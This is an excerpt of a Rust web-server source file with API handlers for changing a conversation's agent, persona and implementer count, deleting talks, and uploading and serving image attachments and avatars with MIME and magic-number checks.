9963    let admission = ui.begin_admission()?;
9964    admitted(admission, async move {
9965        let id = {
9966            let ui = Arc::clone(&ui);
9967            blocking(move || resolve_talk(&ui.talks, &id)).await?
9968        };
9969        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9970            .await
9971            .map_err(ApiError::from)?;
9972        let repo = {
9973            let ui = Arc::clone(&ui);
9974            let id = id.clone();
9975            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9976        };
9977        let cfg = config_for(&repo).await?;
9978        // Refuse before taking the claim; see `talk_implementers`.
9979        {
9980            let ui = Arc::clone(&ui);
9981            let id = id.clone();
9982            let cfg = cfg.clone();
9983            let wanted = body.agent.clone();
9984            blocking(move || {
9985                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9986                    .map_err(ApiError::bad_request_from)?;
9987                refuse_if_closed(&ui.talks.get(&id)?)
9988            })
9989            .await?;
9990        }
9991        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9992            return Err(ApiError::conflict(
9993                "a talk turn is running; change the agent once it has answered",
9994            ));
9995        };
9996        let switched = {
9997            let ui = Arc::clone(&ui);
9998            let id = id.clone();
9999            let cfg = cfg.clone();
10000            blocking(move || {
10001                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10002                    .map_err(ApiError::bad_request_from)?;
10003                let mut talk = ui.talks.get(&id)?;
10004                if !talk.status.open() {
10005                    return Err(ApiError::conflict(format!(
10006                        "talk {} is {} and takes no more turns",
10007                        talk.short(),
10008                        talk.status.as_str()
10009                    )));
10010                }
10011                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10012                Ok(talk)
10013            })
10014            .await
10015        };
10016        // A `/say` that landed while this held the claim saw the talk busy and
10017        // left a durable draft, trusting the claim's owner to drain it. So the
10018        // claim is settled whatever the outcome. Release an empty draft's claim
10019        // before replying; queued drafts continue independently of the handler.
10020        let observed = ui.queued_generation(&id);
10021        let fresh = {
10022            let ui = Arc::clone(&ui);
10023            let id = id.clone();
10024            blocking(move || Ok(ui.talks.get(&id)?)).await
10025        };
10026        let draining = match fresh {
10027            Ok(talk) => {
10028                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10029            }
10030            Err(_) => false,
10031        };
10032        let talk = switched?;
10033        Ok(Json(TalkView::new(talk, draining, &ui)))
10034    })
10035    .await
10036}
10037
10038/// The body of `POST /api/talks/{id}/persona`.
10039#[derive(Debug, Deserialize)]
10040struct TalkPersona {
10041    persona: String,
10042}
10043
10044/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10045/// like [`talk_agent`]: the turn guard is held for the change and always handed
10046/// to `drain_loop`, so a draft left meanwhile is not stranded.
10047async fn talk_persona(
10048    State(ui): State<Arc<Ui>>,
10049    Path(id): Path<String>,
10050    Json(body): Json<TalkPersona>,
10051) -> ApiResult<Json<TalkView>> {
10052    let admission = ui.begin_admission()?;
10053    admitted(admission, async move {
10054        let id = {
10055            let ui = Arc::clone(&ui);
10056            blocking(move || resolve_talk(&ui.talks, &id)).await?
10057        };
10058        let _publication = crate::consult::publication_guard(&ui.talks, &id)
10059            .await
10060            .map_err(ApiError::from)?;
10061        let repo = {
10062            let ui = Arc::clone(&ui);
10063            let id = id.clone();
10064            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10065        };
10066        let cfg = config_for(&repo).await?;
10067        // Refuse before taking the claim; see `talk_implementers`.
10068        {
10069            let ui = Arc::clone(&ui);
10070            let id = id.clone();
10071            let cfg = cfg.clone();
10072            let wanted = body.persona.clone();
10073            blocking(move || {
10074                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10075                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10076                }
10077                refuse_if_closed(&ui.talks.get(&id)?)
10078            })
10079            .await?;
10080        }
10081        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10082            return Err(ApiError::conflict(
10083                "a talk turn is running; change the persona once it has answered",
10084            ));
10085        };
10086        let switched = {
10087            let ui = Arc::clone(&ui);
10088            let id = id.clone();
10089            let cfg = cfg.clone();
10090            blocking(move || {
10091                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10092                    return Err(ApiError::bad_request(format!(
10093                        "unknown persona `{}`",
10094                        body.persona
10095                    )));
10096                };
10097                let mut talk = ui.talks.get(&id)?;
10098                if !talk.status.open() {
10099                    return Err(ApiError::conflict(format!(
10100                        "talk {} is {} and takes no more turns",
10101                        talk.short(),
10102                        talk.status.as_str()
10103                    )));
10104                }
10105                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10106                Ok(talk)
10107            })
10108            .await
10109        };
10110        // As in `talk_agent`: settle the claim before replying, even on refusal.
10111        let observed = ui.queued_generation(&id);
10112        let fresh = {
10113            let ui = Arc::clone(&ui);
10114            let id = id.clone();
10115            blocking(move || Ok(ui.talks.get(&id)?)).await
10116        };
10117        let draining = match fresh {
10118            Ok(talk) => {
10119                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10120            }
10121            Err(_) => false,
10122        };
10123        let talk = switched?;
10124        Ok(Json(TalkView::new(talk, draining, &ui)))
10125    })
10126    .await
10127}
10128
10129/// The body of `POST /api/talks/{id}/implementers`.
10130#[derive(Debug, Deserialize)]
10131struct TalkImplementers {
10132    implementers: u8,
10133}
10134
10135/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10136/// like [`talk_agent`]: the turn guard is held for the change and always handed
10137/// to `drain_loop`, so a draft left meanwhile is not stranded.
10138async fn talk_implementers(
10139    State(ui): State<Arc<Ui>>,
10140    Path(id): Path<String>,
10141    Json(body): Json<TalkImplementers>,
10142) -> ApiResult<Json<TalkView>> {
10143    let admission = ui.begin_admission()?;
10144    admitted(admission, async move {
10145        let id = {
10146            let ui = Arc::clone(&ui);
10147            blocking(move || resolve_talk(&ui.talks, &id)).await?
10148        };
10149        let _publication = crate::consult::publication_guard(&ui.talks, &id)
10150            .await
10151            .map_err(ApiError::from)?;
10152        let repo = {
10153            let ui = Arc::clone(&ui);
10154            let id = id.clone();
10155            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10156        };
10157        let cfg = config_for(&repo).await?;
10158        // Refuse a request that cannot succeed before taking the claim: a claim
10159        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10160        // moment, so a refusal would make the next request see "busy" instead of
10161        // its own answer. The checks after the claim stay the ones that decide.
10162        {
10163            let ui = Arc::clone(&ui);
10164            let id = id.clone();
10165            let cfg = cfg.clone();
10166            let wanted = body.implementers;
10167            blocking(move || {
10168                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10169                refuse_if_closed(&ui.talks.get(&id)?)
10170            })
10171            .await?;
10172        }
10173        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10174            return Err(ApiError::conflict(
10175                "a talk turn is running; change the implementers once it has answered",
10176            ));
10177        };
10178        let switched = {
10179            let ui = Arc::clone(&ui);
10180            let id = id.clone();
10181            let cfg = cfg.clone();
10182            blocking(move || {
10183                let chosen = talk::check_implementers(body.implementers, &cfg)
10184                    .map_err(ApiError::bad_request)?;
10185                let mut talk = ui.talks.get(&id)?;
10186                if !talk.status.open() {
10187                    return Err(ApiError::conflict(format!(
10188                        "talk {} is {} and takes no more turns",
10189                        talk.short(),
10190                        talk.status.as_str()
10191                    )));
10192                }
10193                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10194                Ok(talk)
10195            })
10196            .await
10197        };
10198        // As in `talk_agent`: settle the claim before replying, even on refusal.
10199        let observed = ui.queued_generation(&id);
10200        let fresh = {
10201            let ui = Arc::clone(&ui);
10202            let id = id.clone();
10203            blocking(move || Ok(ui.talks.get(&id)?)).await
10204        };
10205        let draining = match fresh {
10206            Ok(talk) => {
10207                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10208            }
10209            Err(_) => false,
10210        };
10211        let talk = switched?;
10212        Ok(Json(TalkView::new(talk, draining, &ui)))
10213    })
10214    .await
10215}
10216
10217/// `POST /api/talks/{id}/close`.
10218async fn talk_close(
10219    State(ui): State<Arc<Ui>>,
10220    Path(id): Path<String>,
10221) -> ApiResult<Json<TalkView>> {
10222    blocking(move || {
10223        let id = resolve_talk(&ui.talks, &id)?;
10224        let mut talk = ui.talks.get(&id)?;
10225        talk::close(&mut talk, &ui.talks)?;
10226        let thinking = ui.is_thinking(&talk.id);
10227        Ok(Json(TalkView::new(talk, thinking, &ui)))
10228    })
10229    .await
10230}
10231
10232/// `POST /api/talks/{id}/reopen`.
10233async fn talk_reopen(
10234    State(ui): State<Arc<Ui>>,
10235    Path(id): Path<String>,
10236) -> ApiResult<Json<TalkView>> {
10237    blocking(move || {
10238        let id = resolve_talk(&ui.talks, &id)?;
10239        let mut talk = ui.talks.get(&id)?;
10240        talk::reopen(&mut talk, &ui.talks)?;
10241        let thinking = ui.is_thinking(&talk.id);
10242        Ok(Json(TalkView::new(talk, thinking, &ui)))
10243    })
10244    .await
10245}
10246
10247/// `DELETE /api/talks/{id}`.
10248///
10249/// Removes the conversation's record and artifacts outright, unlike
10250/// [`talk_close`] which keeps the record as history. A turn already in
10251/// flight is not refused here the way [`run_delete`] refuses a live run:
10252/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10253/// under [`Talks::guard`], that the record they are about to write back is
10254/// still there, so a delete racing a turn is safe without this route having
10255/// to know a turn is running at all.
10256async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10257    blocking(move || {
10258        let id = resolve_talk(&ui.talks, &id)?;
10259        ui.talks.remove(&id)?;
10260        Ok(StatusCode::NO_CONTENT)
10261    })
10262    .await
10263}
10264
10265fn talk_ids(root: &FsPath) -> Vec<String> {
10266    std::fs::read_dir(root)
10267        .into_iter()
10268        .flatten()
10269        .flatten()
10270        .filter_map(|e| {
10271            let path = e.path();
10272            if path.extension().is_some_and(|ext| ext == "json") {
10273                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10274            } else {
10275                None
10276            }
10277        })
10278        .collect()
10279}
10280
10281/// Expand an id or short id to exactly one talk id.
10282fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10283    if plain_record_id(id) && store.path_of(id).is_file() {
10284        return Ok(id.to_owned());
10285    }
10286    pick(talk_ids(store.root()), id, "talk")
10287}
10288
10289/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10290/// future `talk-say`.
10291async fn talk_attachment_post(
10292    State(ui): State<Arc<Ui>>,
10293    Path(id): Path<String>,
10294    headers: HeaderMap,
10295    body: Bytes,
10296) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10297    let mime = validate_attachment(&headers, &body)?;
10298    let name = filename_header(&headers);
10299    let data = body.to_vec();
10300    blocking(move || {
10301        let id = resolve_talk(&ui.talks, &id)?;
10302        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10303        Ok((StatusCode::CREATED, Json(att)))
10304    })
10305    .await
10306}
10307
10308/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10309/// `<img>` tag in the transcript.
10310async fn talk_attachment_get(
10311    State(ui): State<Arc<Ui>>,
10312    Path((id, att)): Path<(String, String)>,
10313) -> ApiResult<Response> {
10314    blocking(move || {
10315        let id = resolve_talk(&ui.talks, &id)?;
10316        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10317            return Err(ApiError::not_found(format!(
10318                "talk {id} has no attachment `{att}`"
10319            )));
10320        };
10321        Ok(attachment_response(&meta.mime, data))
10322    })
10323    .await
10324}
10325
10326/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10327/// the icon setting, so changing it changes the URL.
10328fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10329    let id = avatar_encode(&p.id);
10330    format!(
10331        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10332        persona_icon::fingerprint(
10333            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10334        )
10335    )
10336}
10337
10338#[derive(Debug, Default, Deserialize)]
10339struct AvatarQuery {
10340    persona: Option<String>,
10341    /// Set by the page after the first load failed: skip the `icon`.
10342    builtin: Option<String>,
10343}
10344
10345/// Served with every built-in avatar: it is an image, so nothing else may run.
10346const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10347
10348fn builtin_avatar(id: &str) -> Response {
10349    svg_avatar(persona_icon::builtin_svg(id))
10350}
10351
10352async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10353    raster_or_builtin(
10354        read_icon_file(&avatar_setting_path(&ui.home, None))
10355            .filter(|_| q.builtin.is_none())
10356            .as_deref(),
10357        persona_icon::operator_svg(),
10358    )
10359}
10360
10361fn svg_avatar(svg: &'static str) -> Response {
10362    (
10363        [
10364            (header::CONTENT_TYPE, "image/svg+xml"),
10365            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10366            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10367            (header::CACHE_CONTROL, "no-cache"),
10368        ],
10369        svg,
10370    )
10371        .into_response()
10372}
10373
10374fn avatar_encode(value: &str) -> String {
10375    value
10376        .bytes()
10377        .map(|b| {
10378            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10379                char::from(b).to_string()
10380            } else {
10381                format!("%{b:02X}")
10382            }
10383        })
10384        .collect()
10385}
10386
10387// Display-only overrides live outside configuration and conversation records.
10388fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10389    let Some(id) = persona else {
10390        return home.join("avatars/operator.data");
10391    };
10392    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10393    let mut path = home.join("avatars/personas");
10394    for chunk in encoded.as_bytes().chunks(100) {
10395        path.push(std::str::from_utf8(chunk).expect("hex"));
10396    }
10397    path.join("icon.data")
10398}
10399
10400fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10401    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10402        Some(value) if value == "builtin" => Some(String::new()),
10403        Some(value) => Some(value),
10404        None => configured.map(str::to_owned),
10405    }
10406}
10407
10408fn operator_icon_url(home: &FsPath) -> String {
10409    format!(
10410        "/avatars/operator.svg?v={}",
10411        persona_icon::fingerprint(
10412            read_icon_file(&avatar_setting_path(home, None))
10413                .as_deref()
10414                .or(Some(persona_icon::operator_svg()))
10415        )
10416    )
10417}
10418
10419fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10420    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10421        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10422            attachment_response(mime, bytes)
10423        }
10424        _ => svg_avatar(builtin),
10425    };
10426    response
10427        .headers_mut()
10428        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10429    response
10430}
10431
10432#[derive(Default, Deserialize)]
10433struct AvatarSettingsQuery {
10434    repo: Option<PathBuf>,
10435    persona: Option<String>,
10436    builtin: Option<String>,
10437    inherit: Option<String>,
10438}
10439
10440fn avatar_settings_specs(
10441    ui: &Ui,
10442    repo: Option<PathBuf>,
10443) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10444    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10445    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10446        .map(|cfg| cfg.talk.personas)
10447        .unwrap_or_default();
10448    Ok((repo, specs))
10449}
10450
10451fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10452    let Ok(entries) = std::fs::read_dir(path) else {
10453        return;
10454    };
10455    for entry in entries.flatten() {
10456        let name = entry.file_name().to_string_lossy().into_owned();
10457        if name == "icon.data" {
10458            let bytes: Option<Vec<u8>> = prefix
10459                .as_bytes()
10460                .chunks(2)
10461                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10462                .collect();
10463            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10464                out.push(id);
10465            }
10466        } else if name.len() <= 100
10467            && !name.is_empty()
10468            && name.bytes().all(|b| b.is_ascii_hexdigit())
10469            && entry.file_type().is_ok_and(|t| t.is_dir())
10470        {
10471            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10472        }
10473    }
10474}
10475
10476async fn avatar_settings_get(
10477    State(ui): State<Arc<Ui>>,
10478    Query(q): Query<AvatarSettingsQuery>,
10479) -> ApiResult<Json<serde_json::Value>> {
10480    blocking(move || {
10481        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10482        let mut catalog = persona::catalog(&specs);
10483        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10484        let mut saved = Vec::new();
10485        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10486        for id in saved {
10487            if !catalog.iter().any(|p| p.id == id) {
10488                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10489            }
10490        }
10491        let personas: Vec<_> = catalog.iter().map(|p| {
10492            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10493            let override_state = match saved.as_deref() {
10494                Some("builtin") => "builtin",
10495                Some(_) => "custom",
10496                None => "inherit",
10497            };
10498            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10499            serde_json::json!({"id":p.id,"name":p.name,
10500                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10501                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10502                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10503        }).collect();
10504        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10505    }).await
10506}
10507
10508async fn settings_persona_avatar(
10509    State(ui): State<Arc<Ui>>,
10510    Query(q): Query<AvatarSettingsQuery>,
10511) -> ApiResult<Response> {
10512    blocking(move || {
10513        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10514        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10515        let found = persona::find(&specs, id);
10516        let icon =
10517            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10518        Ok(raster_or_builtin(
10519            icon.as_deref().filter(|_| q.builtin.is_none()),
10520            persona_icon::builtin_svg(id),
10521        ))
10522    })
10523    .await
10524}
10525
10526fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10527    if q.persona
10528        .as_ref()
10529        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10530    {
10531        return Err(ApiError::bad_request("invalid persona id"));
10532    }
10533    Ok(())
10534}
10535
10536async fn avatar_settings_put(
10537    State(ui): State<Arc<Ui>>,
10538    Query(q): Query<AvatarSettingsQuery>,
10539    Json(upload): Json<MagiIconUpload>,
10540) -> ApiResult<Json<serde_json::Value>> {
10541    blocking(move || {
10542        validate_avatar_target(&q)?;
10543        save_icon_file(
10544            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10545            &upload.icon,
10546        )
10547        .map_err(ApiError::bad_request_from)?;
10548        Ok(Json(serde_json::json!({"saved":true})))
10549    })
10550    .await
10551}
10552
10553async fn avatar_settings_delete(
10554    State(ui): State<Arc<Ui>>,
10555    Query(q): Query<AvatarSettingsQuery>,
10556) -> ApiResult<Json<serde_json::Value>> {
10557    blocking(move || {
10558        validate_avatar_target(&q)?;
10559        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10560        if q.persona.is_some() && q.inherit.is_none() {
10561            atomic_icon_write(&path, "builtin")?;
10562        } else {
10563            match std::fs::remove_file(path) {
10564                Ok(()) => (),
10565                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10566                Err(e) => return Err(anyhow::Error::from(e).into()),
10567            }
10568        }
10569        Ok(Json(serde_json::json!({"saved":true})))
10570    })
10571    .await
10572}
10573
10574// The global MAGI icon is deliberately independent of repository configuration.
10575fn magi_icon_path(home: &FsPath) -> PathBuf {
10576    home.join("magi-icon.data")
10577}
10578
10579fn read_magi_icon(home: &FsPath) -> Option<String> {
10580    read_icon_file(&magi_icon_path(home))
10581}
10582
10583fn read_icon_file(path: &FsPath) -> Option<String> {
10584    let metadata = std::fs::metadata(path).ok()?;
10585    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10586        return None;
10587    }
10588    let file = std::fs::File::open(path).ok()?;
10589    use std::io::Read;
10590    let mut text = String::new();
10591    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10592        .read_to_string(&mut text)
10593        .ok()?;
10594    if text.len() > persona_icon::ICON_MAX_BYTES {
10595        return None;
10596    }
10597    if text == "builtin" {
10598        return Some(text);
10599    }
10600    validate_uploaded_icon(&text).ok()?;
10601    Some(text)
10602}
10603
10604fn magi_icon_url(home: &FsPath) -> String {
10605    format!(
10606        "/avatars/magi?v={}",
10607        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10608    )
10609}
10610
10611async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10612    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10613}
10614
10615#[derive(Deserialize)]
10616struct MagiIconUpload {
10617    icon: String,
10618}
10619
10620fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10621    save_icon_file(&magi_icon_path(home), icon)
10622}
10623
10624fn validate_uploaded_icon(icon: &str) -> Result<()> {
10625    if !icon.starts_with("data:") {
10626        anyhow::bail!("upload a raster image");
10627    }
10628    let (mime, bytes) = persona_icon::load(icon)?;
10629    if sniffed_mime(&bytes) != Some(mime) {
10630        anyhow::bail!("image content does not match its type");
10631    }
10632    Ok(())
10633}
10634
10635fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10636    validate_uploaded_icon(icon)?;
10637    atomic_icon_write(path, icon)
10638}
10639
10640fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10641    let home = path.parent().expect("icon parent");
10642    std::fs::create_dir_all(home)?;
10643    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10644    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10645    let result = (|| -> Result<()> {
10646        use std::io::Write;
10647        let mut file = std::fs::OpenOptions::new()
10648            .write(true)
10649            .create_new(true)
10650            .open(&temp)?;
10651        file.write_all(icon.as_bytes())?;
10652        file.sync_all()?;
10653        std::fs::rename(&temp, path)?;
10654        Ok(())
10655    })();
10656    let _ = std::fs::remove_file(temp);
10657    result?;
10658    Ok(())
10659}
10660
10661async fn magi_icon_put(
10662    State(ui): State<Arc<Ui>>,
10663    Json(upload): Json<MagiIconUpload>,
10664) -> ApiResult<Json<serde_json::Value>> {
10665    blocking(move || {
10666        if !upload.icon.starts_with("data:") {
10667            return Err(ApiError::bad_request("upload a raster image"));
10668        }
10669        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10670        if sniffed_mime(&bytes) != Some(mime) {
10671            return Err(ApiError::bad_request(
10672                "image content does not match its type",
10673            ));
10674        }
10675        save_magi_icon(&ui.home, &upload.icon)?;
10676        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10677    })
10678    .await
10679}
10680
10681async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10682    blocking(move || {
10683        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10684            Ok(()) => (),
10685            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10686            Err(e) => return Err(anyhow::Error::from(e).into()),
10687        }
10688        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10689    })
10690    .await
10691}
10692
10693async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10694    let icon = (q.builtin.is_none())
10695        .then(|| read_magi_icon(&ui.home))
10696        .flatten();
10697    let mut response = match icon
10698        .as_deref()
10699        .and_then(|icon| persona_icon::load(icon).ok())
10700    {
10701        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10702            attachment_response(mime, bytes)
10703        }
10704        _ => svg_avatar(persona_icon::magi_svg()),
10705    };
10706    response
10707        .headers_mut()
10708        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10709    response
10710}
10711
10712/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10713/// operator's raster `icon` when it resolves and its bytes agree with its
10714/// type, the built-in SVG otherwise. Display only; every failure is a warning
10715/// and the built-in avatar, never an error response.
10716async fn talk_avatar(
10717    State(ui): State<Arc<Ui>>,
10718    Path(id): Path<String>,
10719    Query(q): Query<AvatarQuery>,
10720) -> ApiResult<Response> {
10721    blocking(move || {
10722        let id = resolve_talk(&ui.talks, &id)?;
10723        let talk = ui.talks.get(&id)?;
10724        let wanted = q
10725            .persona
10726            .as_deref()
10727            .map(str::trim)
10728            .filter(|p| !p.is_empty())
10729            .unwrap_or(&talk.persona)
10730            .to_owned();
10731        let specs = match Config::discover(&talk.repo, None) {
10732            Ok((cfg, _)) => cfg.talk.personas,
10733            Err(e) => {
10734                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10735                Vec::new()
10736            }
10737        };
10738        let found = persona::find(&specs, &wanted);
10739        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10740        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10741        let icon = effective_persona_icon(
10742            &ui.home,
10743            &wanted,
10744            found.as_ref().and_then(|p| p.icon.as_deref()),
10745        );
10746        if found.is_none() && icon.is_none() {
10747            return Ok(builtin_avatar(persona::DEFAULT_ID));
10748        }
10749        let Some(icon) = icon
10750            .as_deref()
10751            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10752        else {
10753            return Ok(builtin_avatar(&wanted));
10754        };
10755        let Some(found) = found else {
10756            return Ok(raster_or_builtin(
10757                Some(icon),
10758                persona_icon::builtin_svg(&wanted),
10759            ));
10760        };
10761        match persona_icon::load(icon) {
10762            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10763                let mut res = attachment_response(mime, bytes);
10764                res.headers_mut().insert(
10765                    header::CACHE_CONTROL,
10766                    header::HeaderValue::from_static("no-cache"),
10767                );
10768                Ok(res)
10769            }
10770            Ok((mime, _)) => {
10771                tracing::warn!(
10772                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10773                    found.id
10774                );
10775                Ok(builtin_avatar(&found.id))
10776            }
10777            Err(e) => {
10778                tracing::warn!(
10779                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10780                    found.id
10781                );
10782                Ok(builtin_avatar(&found.id))
10783            }
10784        }
10785    })
10786    .await
10787}
10788
10789/// Validate an attachment upload's declared `Content-Type` and the bytes
10790/// themselves, returning the canonical mime on success.
10791///
10792/// Two checks, both required: the header has to name one of
10793/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10794/// simply never in the list, active content rather than a picture, the same
10795/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10796/// magic number has to agree. The second is what stops a mislabeled upload -
10797/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10798/// a declared type is a claim, not a fact, so it is never trusted alone.
10799fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10800    if data.len() > ATTACHMENT_MAX_BYTES {
10801        return Err(ApiError::bad_request(format!(
10802            "attachment is {} bytes, over the {} MiB limit",
10803            data.len(),
10804            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10805        ))
10806        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10807    }
10808    if data.is_empty() {
10809        return Err(ApiError::bad_request("attachment is empty"));
10810    }
10811    let declared = declared_mime(headers)?;
10812    match sniffed_mime(data) {
10813        Some(sniffed) if sniffed == declared => Ok(declared),
10814        Some(sniffed) => Err(ApiError::bad_request(format!(
10815            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10816        ))),
10817        None => Err(ApiError::bad_request(
10818            "the file's bytes do not match any accepted image format",
10819        )),
10820    }
10821}
10822
10823/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10824/// and nothing else - parameters like `; charset=` are stripped, but the
10825/// value itself is not otherwise interpreted.
10826fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10827    let raw = headers
10828        .get(header::CONTENT_TYPE)
10829        .and_then(|v| v.to_str().ok())
10830        .unwrap_or("")
10831        .split(';')
10832        .next()
10833        .unwrap_or("")
10834        .trim()
10835        .to_ascii_lowercase();
10836    ATTACHMENT_MIME_WHITELIST
10837        .iter()
10838        .find(|&&m| m == raw)
10839        .copied()
10840        .ok_or_else(|| {
10841            if raw == "image/svg+xml" {
10842                ApiError::bad_request(
10843                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10844                     not just a picture",
10845                )
10846            } else if raw.is_empty() {
10847                ApiError::bad_request("Content-Type is required for an attachment upload")
10848            } else {
10849                ApiError::bad_request(format!(
10850                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10851                     image/gif or image/webp"
10852                ))
10853            }
10854        })
10855}
10856
10857/// Identify an image by its magic number, independent of whatever
10858/// `Content-Type` claimed.
10859fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10860    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10861        Some("image/png")
10862    } else if data.starts_with(b"\xff\xd8\xff") {
10863        Some("image/jpeg")
